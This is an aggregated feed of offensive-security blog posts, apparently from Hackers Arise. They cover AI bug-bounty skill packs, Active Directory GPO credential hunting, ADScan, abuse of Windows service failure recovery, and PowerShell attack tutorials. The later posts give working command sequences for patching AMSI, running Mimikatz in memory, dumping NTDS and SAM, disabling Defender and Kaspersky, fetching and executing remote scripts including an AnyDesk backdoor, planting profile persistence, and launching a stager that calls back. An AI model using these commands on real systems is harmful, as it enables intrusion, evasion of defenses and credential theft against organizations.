PaperCut flaws were exploited across 440 servers using hundreds of AI agents. Learn which versions are affected and what security teams should do now.
The post AI Agents Help Hackers Compromise 440 PaperCut Servers appeared first on TechRepublic.
PaperCut flaws were exploited across 440 servers using hundreds of AI agents. Learn which versions are affected and what security teams should do now.
The post AI Agents Help Hackers Compromise 440 PaperCut Servers appeared first on TechRepublic.
Welcome back, aspiring cyberwarriors!
Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.
There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.
Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.
The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.
You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.
The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.
Here are a few examples of the results we got with these skills.
API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.
Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.
We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.
Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings.
Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).
Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.
Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.
Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.
On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.
The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.
Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.
1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.
Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.
The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.
AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.
Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.
The post Artificial Intelligence (AI) in Cybersecurity, Part 25: Upgrading Your Model with Specific Skillset first appeared on Hackers Arise.
Welcome back, pentesters!
Some of you have probably heard about Group Policies and that you need to “check the GPOs” a few times without anyone actually explaining to you why. We’re going to fix that. Group Policy has been part of Active Directory for a long time and it’s still one of the first things pentesters should check. Mainly because it’s boring and boring things are often ignored by admins.
A GPO can hold a cleartext password. It may have a script with internal paths and usernames. It can also be edited by someone who left the team and never got their permissions pulled. These things don’t require any exploit, you just need to know where to look.
A Group Policy Object is actually two things stuck together. Often beginners only learn about one of them. The first half lives in Active Directory. It’s an object with a name, an owner, a list of who can edit it and a list of where it’s linked. This is the part that Group Policy Management Console (GPMC) shows you. The second half lives on a file share called SYSVOL (e.g. \\sekvoya.local\SYSVOL\sekvoya.local\Policies\{GUID}\). This folder holds the actual settings and has registry values, XML files, scripts and more.
Any domain user can usually read SYSVOL. So if something sensitive is dropped in there (a stored password or a script with internal server names) you can extract it.
We’re going to use GPOZaurr for most of this. It’s a legitimate PowerShell module made for GPO audit.
Here is how you set it up:
LoginPS > Add-WindowsCapability -Online -Name 'Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'
PS > Add-WindowsCapability -Online -Name 'Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0'
PS > Install-Module -Name GPOZaurr -AllowClobber -Force
PS > Import-Module GPOZaurrBefore we start hunting for anything, let’s see what GPOs exist in the domain. Later we will pull the secrets.
PS > Get-GPOZaurr | Format-Table DisplayName, DomainName, Empty, Linked, Enabled -AutoSizeFor every GPO it tells you whether it holds settings (Empty), whether anything actually links to it (Linked) and shows their status (Enabled).
As you can see, Map Network Drives – Finance is empty and not linked anywhere, someone started building a drive mapping policy and just never finished it. WSUS Settings – Old has a setting but isn’t linked to anything, so it does nothing to any computer. It just sits there. Remote Desktop – Vendors are linked but disabled. That can happen if we gave vendors RDP access at some point, then turned it off and never deleted the policy.
It’s important to understand that unlinked and disabled don’t mean safe. The object still exists. The SYSVOL folder behind it still exists. That’s where old Groups.xml files and forgotten scripts sit around waiting to be found. Stick for it.
Once you know that a GPO exists, you should look up what computers it affects. Only linked GPOs can affect computers. A link basically means that this GPO applies to this domain, this site or this OU.
PS > Get-GPOZaurrLink | Format-Table DisplayName, CanonicalName, Enabled, Enforced -AutoSizeEnabled here describes the link, not the GPO itself. It means the attachment is switched on. Enforced means this GPO wins even if a lower OU tries to block it. In our table nothing is enforced. Blocked inheritance is a setting on the OU itself that prevents handing policies from above unless they’re enforced.
Everything here lands on sekvoya.local/Workstations-Temp. That OU also blocks inheritance, because these are temp machines and nobody wants the domain-wide policy fighting with their imaging process.
You’ll also see Remote Desktop – Vendors that are Enabled, even though we said earlier the GPO itself is disabled. You can absolutely have a live link pointing at a dead GPO and it’ll still show up here.
The GPO linked to Workstations-Temp means every computer in that OU applies it. Always ask “linked where”. Domain root and the Domain Controllers OU are the highest value targets.
Let’s list what computers are in Workstations-Temp.
PS > Get-ADComputer -SearchBase "OU=Workstations-Temp,DC=sekvoya,DC=local" -Filter * | Select-Object Name, DistinguishedNameNow that we know which GPOs hit Workstations-Temp, we can find out what they actually do.
PS > Find-GPO -GPOName 'Local Administrator Password' -SingleObject
PS > Find-GPO -GPOName 'Logon Script - Standard User' -SingleObject
PS > Find-GPO -GPOName 'WSUS Settings - Old' -SingleObjectFind-GPO reads the GPT, which is just the SYSVOL content and prints it. But in our case, only WSUS was printed with a DNS name and a link. But “empty” doesn’t always mean empty. Get-GPOZaurr and Find-GPO mostly trust Active Directory. They look at the GPO’s version number and its extension attributes (gPCMachineExtensionNames and gPCUserExtensionNames). If a setting was pushed through GPMC properly, those fields get updated and the GPO shows up as not empty.
You might find an environment where that’s not the case. Files can be dropped straight onto SYSVOL by hand.
For the reason mentioned above, we won’t trust the output and list all the files ourselves.
PS > Get-GPOZaurrFiles | Format-Table GPOName, FullName, Length -AutoSizeHere we’re not querying Active Directory, that’s why we get the output. It’s showing us the actual Policies folder tree and listing what’s inside. We can open the same folders as any domain user in Explorer.
Our SYSVOL has Groups.xml with cpassword, logon.bat and office2013.adm, which is a legacy ADM template that tells you this domain hasn’t been cleaned up since 2013. Readme.txt has some notes. Take some time and look through your output.
Let’s take a look at Groups.xml and see its structure.
PS > findstr /s /i cpassword \\sekvoya.local\sysvol\*.xmlAbove you can see cpassword. It was introduced in Windows Server 2008 to let administrators manage domain-wide settings and deploy local administrator passwords. Microsoft encrypted the passwords using AES, but then made the private encryption key public. We can use NetExec to extract and decode the password stored there.
kali > nxc smb DC -u user -p password Reading SYSVOL can give you old leftover passwords. But we can also find out who can push something new into a GPO that’s still live.
PS > Get-GPOZaurrPermission | Where-Object { $_.DisplayName -eq 'Local Admins - Workstations' } | Format-Table DisplayName, PrincipalName, Permission, PrincipalSidType -AutoSizeThis pulls the ACL on the GPO object inside our AD, which tells you who can read it, who can make it apply to them, edit and change security settings. GpoRead and GpoApply mean you can see the GPO or have it apply to you, which is completely normal for Authenticated Users or Domain Computers. GpoEdit and GpoEditDeleteModifySecurity mean you can actually change settings or change who else is allowed to.
In our lab, jpatel has GpoEditDeleteModifySecurity on Local Admins – Workstations, and that GPO is linked to Workstations-Temp. Domain Users also have GpoApply on it, which is normal on the surface. Somebody got delegated edit rights on a GPO for some project or ticket (helpdesk). The ticket closed months ago, but nobody went back and pulled the permission. So not only can you read the leftover password, you can also edit rights on a linked GPO and write the next one. Those are two very different levels of access.
A low privileged user who can edit a linked GPO can add things like an Immediate Scheduled Task, a Restricted Groups entry or a startup script. These can turn into code execution on every machine that GPO touches. SharpGPOAbuse and pyGPOAbuse are built for that. GPOZaurr can only find things and fix them. The actual abuse is a separate topic.
An edit permission is one entry on a list. Ownership is stronger, because whoever owns the Active Directory object can usually reset the entire access list from scratch. When they own the SYSVOL folder, they can change the files directly, even if the AD permissions look locked down tight. Both of those owners are supposed to be Domain Admins or BUILTIN\Administrators. But this can drift over time, especially if a company is big.
PS > Get-GPOZaurrOwner -IncludeSysvol | Where-Object { $_.DisplayName -eq 'Printer Deployment - 3rd Floor' } | Format-Table DisplayName, Owner, OwnerType, SysvolOwner -AutoSizeIn our lab, Printer Deployment – 3rd Floor is owned by jpatel. That’s the same user who could edit the local admins GPO. So we have two separate mistakes, but one person behind both of them. At some point they deployed printers on the 3rd floor and picked up more access than they should have kept.
If you compromise jpatel, you own an entire GPO object outright. Their helpdesk account can be used to write policy for a whole OU.
We tried to simplify the concept of GPOs and how they work in Active Directory. As you can see, credentials can hide not only in LDAP user description and text files on the workstation, but also on the Domain Controller itself in SYSVOL that any domain user can read. Hackers often abuse GPOs and create their own policies affecting all computers and in the domain disabling Defender and booting them into Safe Mode to execute ransomware. This abuse has been reported several times.
There are a lot of different options for escalating your privileges in a misconfigured domain. The boring and complex things like GPOs and ADCS are often left vulnerable, simply because they are tedious to work with. But not for you!
Want to become a Powershell expert? Join our Powershell for Hackers training.
The post Pentesting: Group Policy for Hackers – Basics first appeared on Hackers Arise.
Welcome back, pentesters!
During a pentest, you often end up repeating the same things. You usually start with the same set of checks. You want to know if SMB shares are exposed, whether you can reach LDAP on the DC and find out how strong the password policies are. You also want to find misconfigured privileged accounts, roastable accounts and go through ADCS for potential escalation paths. These are the checks that always come up in Active Directory pentests.
Because of that, a lot of pentesters end up writing their own scripts and use tools that reduce the repetitive work. Today we’ll look at two tools that help here. It’s ADScan and ADPulse. ADScan is built for active enumeration and attack, while ADPulse is for read only auditing and reporting.
We’ll start with ADScan. It automates Active Directory pentesting and does enumeration across DNS, LDAP, SMB and Kerberos, collecting data that can be fed into BloodHound for analysis. Later you’ll see you don’t even have to use BloodHound to process that data, since ADScan uses Python libraries to parse the JSON files and give you the output itself. You can act on findings right away, with Kerberoasting, AS-REP roasting, DCSync or just password spraying.
Sometimes you might start with no credentials at all or you might be handed a low-privileged account. ADScan works well in both cases.
The installation process requires some patience. Before starting, you need to have Docker installed on your Kali.
kali > sudo apt install docker.io
kali > sudo apt install docker-compose
kali > sudo service docker start
kali > sudo systemctl enable dockerOnce Docker is ready, you can install ADScan.
kali > pipx install adscan
kali > adscan installA stable internet connection is important here.
After installation completes, you will receive credentials for BloodHound. At this point, everything is ready and you can start the tool.
kali > adscan startInside the interface, you can see a help menu that keeps commands in logical sections.
Each section has its own subcommands.
As mentioned earlier, you can work with or without a domain user account. We’ll give it the credentials anyway.
start_authAfter running this command, give it the credentials and some details about the domain that you know.
From here, ADScan will run a few automated checks. It pulls in BloodHound data, looks for Kerberoastable and AS-REP roastable accounts and tries to find potential escalation paths in Active Directory Certificate Services.
In our case, the tool found that our lowpriv user has GenericAll permissions over sensitive groups. This comes from SDProp manipulation, where permissions are assigned in ways that aren’t easy to find using standard administrative tools (RSAT).
When enumeration’s done, ADScan gives you two different attack path engines. The first works with BloodHound, organizing findings into attack paths. This includes password spraying, Kerberos attacks, NTLM hash capture and other steps that gradually build toward higher levels of access.
The second engine uses a local Python based search that finds permission abuse through DACL misconfigurations. In our example, it showed that the user can directly modify membership in Domain Admins.
As the process continues, ADScan may also check for known vulnerabilities affecting domain controllers. It’s not unusual to find older systems still in use, which can be vulnerable to Zerologon or NoPac.
ADScan does not replace understanding, but it significantly improves efficiency and consistency.
ADPulse takes a different angle. It’s built as a read only auditing tool that evaluates the overall security posture of an Active Directory environment. ADPulse connects to a domain controller over LDAP or LDAPS and runs a defined set of security checks. These checks look for common misconfigurations, weak policies, and potential attack paths. The results come out in several formats (CLI, JSON, and HTML).
Compared to ADScan, setting up ADPulse is straightforward.
kali > git clone https://github.com/yourorg/adpulse.git
kali > cd adpulse
kali > python -m venv venv
kali > source venv/bin/activate
kali > pip install -r requirements.txtOnce the environment is ready, you can start it.
kali > python ADPulse.py –domain sekvoya.local –user lowpriv –password 'P@ssw0rd123!'As it runs, ADPulse shows summaries right in the terminal, so you get a sense of what’s going on in the domain as it works. When the scan finishes, it generates both JSON and HTML reports. The HTML version looks good and lays out findings in a hierarchical structure with recommendations attached.
You can share these reports with sysadmins and defenders to help them understand what needs fixing and why it matters.
Active Directory pentesting starts with discovery and often moves toward exploitation, but it doesn’t always end with full domain compromise. Success isn’t measured by whether you get Domain Admin privileges, it’s measured by how well you identify and communicate the risks that could actually impact the organization. Sometimes the most critical findings are exposed data, weak configurations and small mistakes that could later get chained into bigger attacks.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
The post Offensive Security: Speeding up Active Directory Pentests with ADScan and ADPulse first appeared on Hackers Arise.
Welcome back, cyberwarriors!
Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.
RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.
Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.
Here is how it works:
PS > .\RecoverIt.exe <ServiceName> <ProgramPath> <Arguments>Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.
For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.
PS > sc.exe query UevAgentService
PS > sc.exe failure UevAgentServiceAs you can see, the service does exist and there’s no recovery plan set for it. On our machine it was stopped.
Now let’s create a recovery plan for it.
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= “C:\Windws\System32\cmd.exe /c whoami > C:\Windows\Temp\uev_test.txt”
PS > sc.exe failureflag UevAgentService 1
PS > sc.exe qfailure UevAgentServiceOnce the service crashes it will print the output of whoami into uev_temp.txt
UevAgentService can be started on boot or on demand:
# On demand - you will need to start it manually
PS > sc.exe config UevAgentService start= demand
# On boot
PS > sc.exe config UevAgentService start= autoThen we start it:
PS > sc.exe start UevAgentServiceNow we can validate it by checking the state and the result:
PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txtAs you can see, the service failed to start and Windows executed the recovery plan.
The example above is benign, but you can also try it in different ways. Here are a few examples:
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Windows\system32\payload.exe"
# or with arguments
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Tools\payload.exe -arg1 -arg2"We set it up to execute a Metasploit stager and got our connection back.
Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.
Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.
The post Defense Evasion: RecoverIt – Using Windows Service Failure Recovery to Evade Detection first appeared on Hackers Arise.
Welcome back, pentesters!
For quite a while we’ve been covering different ways PowerShell can be used by hackers. You’ve learned about persistence, evasion, survival and the mayhem you can cause with PowerShell.
Today we’ll show you a basic workflow for interacting with a Windows system once you’ve gained some access. You’ll see privilege escalation, AMSI bypass and dumping credentials from a host. PowerShell can be used to exploit systems, even though it was never built for that purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that usually get done manually can be automated with the scripts. Let’s start by learning about AMSI.
AMSI is the Antimalware Scan Interface. It’s a Windows feature that sits between script engines like PowerShell or Office macros and whatever AV/EDR product is installed on the machine. When you execute something, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script attacks and malware. Hackers are constantly looking for ways to keep that content from ever reaching AMSI or to alter it so it won’t match detection rules.
You’ll see plenty of articles and tools claiming to bypass AMSI, but soon after they get released, Microsoft patches the vulnerability. That doesn’t mean these bypasses don’t exist. They certainly do and hackers use them, so it’s worth being familiar with this attack. Let’s test our system and try to patch AMSI.
First we need to check if the Defender is running on our target:
PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”And it is. If it was off, we wouldn’t need any AMSI bypass.
We need to patch AMSI using our script. Let’s download it:
PS > wget https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1 -O shantanukhande-amsi.ps1As you know by now, there are a few ways to execute scripts in PowerShell. We will use a simple one for demonstration purposes:
PS > .\shantanukhande-amsi.ps1If your output matches ours, then AMSI has been successfully patched. From now on, Defender doesn’t have access to your PowerShell sessions and anything can be executed in it.
It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.
Since you can run whatever you want now, let’s use Mimikatz to grab credentials. We’ll run it in memory without ever letting it touch disk. The command below can be paired with the AMSI script to keep it off the disk entirely.
Note that we are using Invoke-Mimikatz.ps1 by g4uss47 and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we don’t recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and see what’s there in the results:
PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex
PS > Invoke-Mimikatz -DumpCredsNow we have the credentials of a brand manager. If we compromised a more valuable system in the domain, like a server or a database, we could expect domain admin credentials. You’ll see this quite often.
Privilege escalation is a complex topic. Sometimes systems are misconfigured and regular users end up with admin privileges on them, so you won’t need to bother much here. That can let you skip privilege escalation entirely and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors for privilege escalation, but among the most common are unquoted service paths and insecure file permissions. Insecure file permissions can be abused easily by just swapping in a malicious file with the same name as the legitimate one, but unquoted service paths take more work for a beginner. That’s why we’ll cover this attack today with the help of PowerUp. Before we get into it, it’s worth mentioning that this script has been known to security products for a long time, so be careful.
Unquoted Service Path is a configuration mistake in Windows services, where the full path to the service executable has spaces in it but isn’t wrapped in quotation marks. Since Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can get interpreted ambiguously. The system might search for an executable at C:\Program.exe or C:\Program Files\My.exe before it ever reaches the intended service.exe. A hacker can drop their own executable at one of those earlier locations and the system will run that instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.
Let’s run PowerUp and find vulnerable services:
PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex
PS > Get-UnquotedService Now let’s test the service names and see which one will get us local admin privileges:
PS > Invoke-ServiceAbuse -Name 'Service Name'If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.
PS > net user johnNow we have an admin user on this machine, which can be used for various purposes.
With enough privileges, we can dump NTDS and SAM without having to deal with security products at all, just using native Windows functions. These attacks usually take multiple commands, since dumping only NTDS or only a SAM hive doesn’t get you anywhere on its own. That’s why we added a new script to our repository. It automatically identifies what kind of host you’re running it on and dumps the files you need. NTDS only exists on Domain Controllers and holds the credentials of every Active Directory user, so you won’t find this file on regular machines. Regular machines get exploited instead by dumping their SAM and SYSTEM hives. Below you can see how it works.
To avoid issues, bypass the execution policy:
PS > powershell -ep bypassThen we execute the script to dump SAM and SYSTEM hives:
PS > wget https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper -O ntds.ps1
PS > .\ntds.ps1
# or in memory only
PS > iwr https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper | iexWait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.
Next we need to exfiltrate these files and extract the credentials:
kali > secretsdump.py -sam SAM -system SYSTEM LOCALIf you’ve already compromised a domain admin or managed to escalate your privileges on the Domain Controller, you might want to grab the credentials of every user in the company.
We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. You can load scripts into Evil-WinRM straight from your machine so they execute on the target without ever touching disk. It can also patch AMSI, but be really careful with that.
Connect to the DC:
kali > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’Now you can execute your scripts:
PS > ntds.ps1Evil-WinRM has a download command to save them. Then run this command:
kali > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCALPowerShell can also be used for privilege escalation and complete domain compromise. We showed you a few steps where each builds on the previous one. Hackers can chain these small misconfigurations to take over an organization.
Want to become a Powershell expert? Join our Powershell for Hackers training.
The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.
Welcome back, aspiring cyberwarriors!
Today we start our series on PowerShell for hackers. In this opening article we’ll explore the core techniques of PowerShell, starting with foundational concepts before working with PowerView and crafting scripts for backdoors, data exfiltration, and extracting password hashes.
The methods we cover here come from real engagements. You’ll see different terminals and interfaces, since we’ll be shifting targets. So get comfortable with older Windows systems, a lot of which are still in use today (ATMs, medical devices, point of sale systems, and so on), mainly due to budget constraints.
Defenders should also understand how Windows can be used for attacks, since they’re not limited to Linux only. Its administrative functions offer stealth during operations, which helps hackers stay under the radar.
PowerShell is a powerful scripting language that was initially designed for system administration and automation. It has direct access to the .NET framework and Windows Management Instrumentation (WMI), which gives you control over system components, processes and network configurations.
It also comes with “living off the land” (LOL) tools. These help hackers work without bringing in external binaries that could trigger alerts. That way they can discreetly execute commands, set up remote sessions, find credentials, check system configuration, manipulate the system, and run payloads in memory. PowerShell helps you blend into a normal system routine.
Now let’s look at its capabilities.
To make the transition from Linux easy, here’s a table with common commands that exist in PowerShell.
That’s the backbone. It does have some unique commands too, but these are enough to start.
Legacy CMD commands are also supported. For instance, type will print the contents of a text file:
PS > type example.txtIt’s worth learning a few CMD commands just as a fallback.
You can change directories with cd, but sometimes you run into a non-English system where files and directories are in a foreign language. Evil-WinRM often struggles with this, corrupting the characters you type. In this case, you can use variables:
PS > $items = Get-ChildItem
PS > cd $items[4].FullNameKeep in mind, PowerShell uses zero based indexing (so $items[0] is the first item). This trick comes in handy when you have a PowerShell session inside some hacking tool that doesn’t play well with other languages.
Wildcards are another time-saver for complex file names:
PS > cat *.txt # Displays all .txt files
PS > cd * # Enters the only subdirectory in the current location
PS > cat 1* # Reads files starting with "1"When you’re digging through a lot of corporate data, changing directories manually gets exhausting. Use tree to recursively view the file structure:
PS > tree /FTo move laterally you need credentials. You can find passwords manually on the Desktop, in the browser or in messaging apps, but this whole process can be automated with a one liner, since you never know where those credentials are sitting on a system.
With findstr you can search for specific patterns in files or command outputs. It’s present on every Windows system:
PS > findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.gif *.ps1 *.ymlThis searches recursively (/S), case insensitively (/I), for “password” across various files, listing matching files (/M).
The Windows Registry is another source of credentials. It stores system and user configurations. Here are some commands:
PS > reg query HKLM /f password /t REG_SZ /sThis searches the HKEY_LOCAL_MACHINE (HKLM) hive for string values containing “password”, potentially finding credentials used by software or services.
PS > reg query HKCU /f password /t REG_SZ /sThis targets the HKEY_CURRENT_USER (HKCU) hive for user settings with “password”. This may have application configurations.
PS > reg query "HKCU\Software\ORL\WinVNC3\Password"Extracts reversible password for WinVNC v3 credentials.
PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"Checks autologin settings, which may have plaintext credentials like DefaultUsername and DefaultPassword if enabled.
PS > reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP"Checks Simple Network Management Protocol (SNMP) settings for community strings. These are weak credentials for network devices that are often overlooked by administrators.
PS > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"Finds saved PuTTY (SSH) session data, including IP addresses and usernames
These reg queries can be used for quick credential discovery, that way you don’t run external tools.
LaZagne isn’t a PowerShell tool, but it’s often used to extract credentials. It looks for passwords in browsers, email clients, WiFi settings, FTP tools and databases by analyzing config files, registry entries and memory.
For example, discovering an Outlook password for a department head could be used for social engineering attacks. More articles on social engineering are available on our website.
The SMB Hash Leak technique captures NTLMv1 or NTLMv2 hashes by creating a fake Windows shortcut (.lnk) file pointing to a nonexistent remote resource. When a user opens a folder with this file in it, Windows attempts an SMB connection, sending the user’s hashed credentials to your server. These hashes can then be cracked offline or relayed.
Using Inveigh, you can set up a fake SMB/HTTP listener:
PS > powershell -ep bypass
PS > . .\Inveigh.ps1
PS > Invoke-Inveigh -ConsoleOutput Y -NBNS Y -HTTPS Y -PROXY Y
Success depends on timing and network interface configuration.
Captured hashes can be cracked using Hashcat in NTLMv2 mode (5600).
An execution policy in PowerShell is a safety feature that controls whether and how PowerShell scripts can run on a system. It’s a built-in warning system meant to stop users from accidentally running untrusted or harmful scripts. To bypass it for the current session:
PS > powershell -ep bypassFor a persistent change (you need admin privileges):
PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -ForceThis disables script execution restrictions machine wide, unless Group Policy overrides it.
You can use cmdlets like Invoke-WebRequest (iwr) or wget to download files. Besides these, there are plenty of other techniques out there that don’t get monitored.
Using iwr you can download a script from GitHub
PS > powershell -c iwr -Uri https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1Or simply type this:
PS > iwr https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1That’s a well known Linux command. It works here as well:
PS > wget https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -O anydesk.ps1This command downloads a script from the URL and pipes it directly into the PowerShell interpreter using Invoke-Expression, executing it in memory without ever touching the disk. That’s a classic fileless execution technique.
PS > iex (Invoke-WebRequest -Uri 'http://pastebin.com/raw/7b4byHdd')As you can see, our script successfully executed.
A PowerShell downgrade attack is a technique where you deliberately launch an older version of PowerShell (version 2.0) to bypass some modern security features.
PS > powershell -version 2When you gain system access, always check whether the AV is running:
PS > Get-Service -Name windefendFor Kaspersky:
PS > Get-Service | Where-Object { $_.DisplayName -like "*Kaspersky*" }You can check other systems remotely with WMI. The command below lists the name of the antivirus installed:
PS > Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName 'OM-2' -Credential (Get-Credential Administrator) | Select-Object PSComputerName, displayName, pathToSignedProductExe, productStateHere is how you disable Windows Defender:
PS > Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableNetworkProtection AuditMode -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -EnableControlledFolderAccess DisabledKaspersky can be disabled with this command, provided it’s just a local installation:
PS > Stop-Service -Name KAVFS,kavfsslp,klnagent -ForceBase64 can encode binary or text into a portable format. When you convert something into Base64, it makes it harder to immediately understand what the code does.
PS > [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Write-Host "Hackers-Arise!"'))
PS > powershell -e "<base64>"Encoded reverse shells can be customized on revshells.com and used to connect back to your listener.
Profile persistence is a technique of embedding code into a user’s PowerShell profile so the code executes every time a new PowerShell session starts. When PowerShell launches, it checks for profile scripts and runs whatever commands they hold.
Let’s add a script to our profile:
PS > Add-Content -Path $Profile -Value “C:\Windows\Temp\script.ps1”
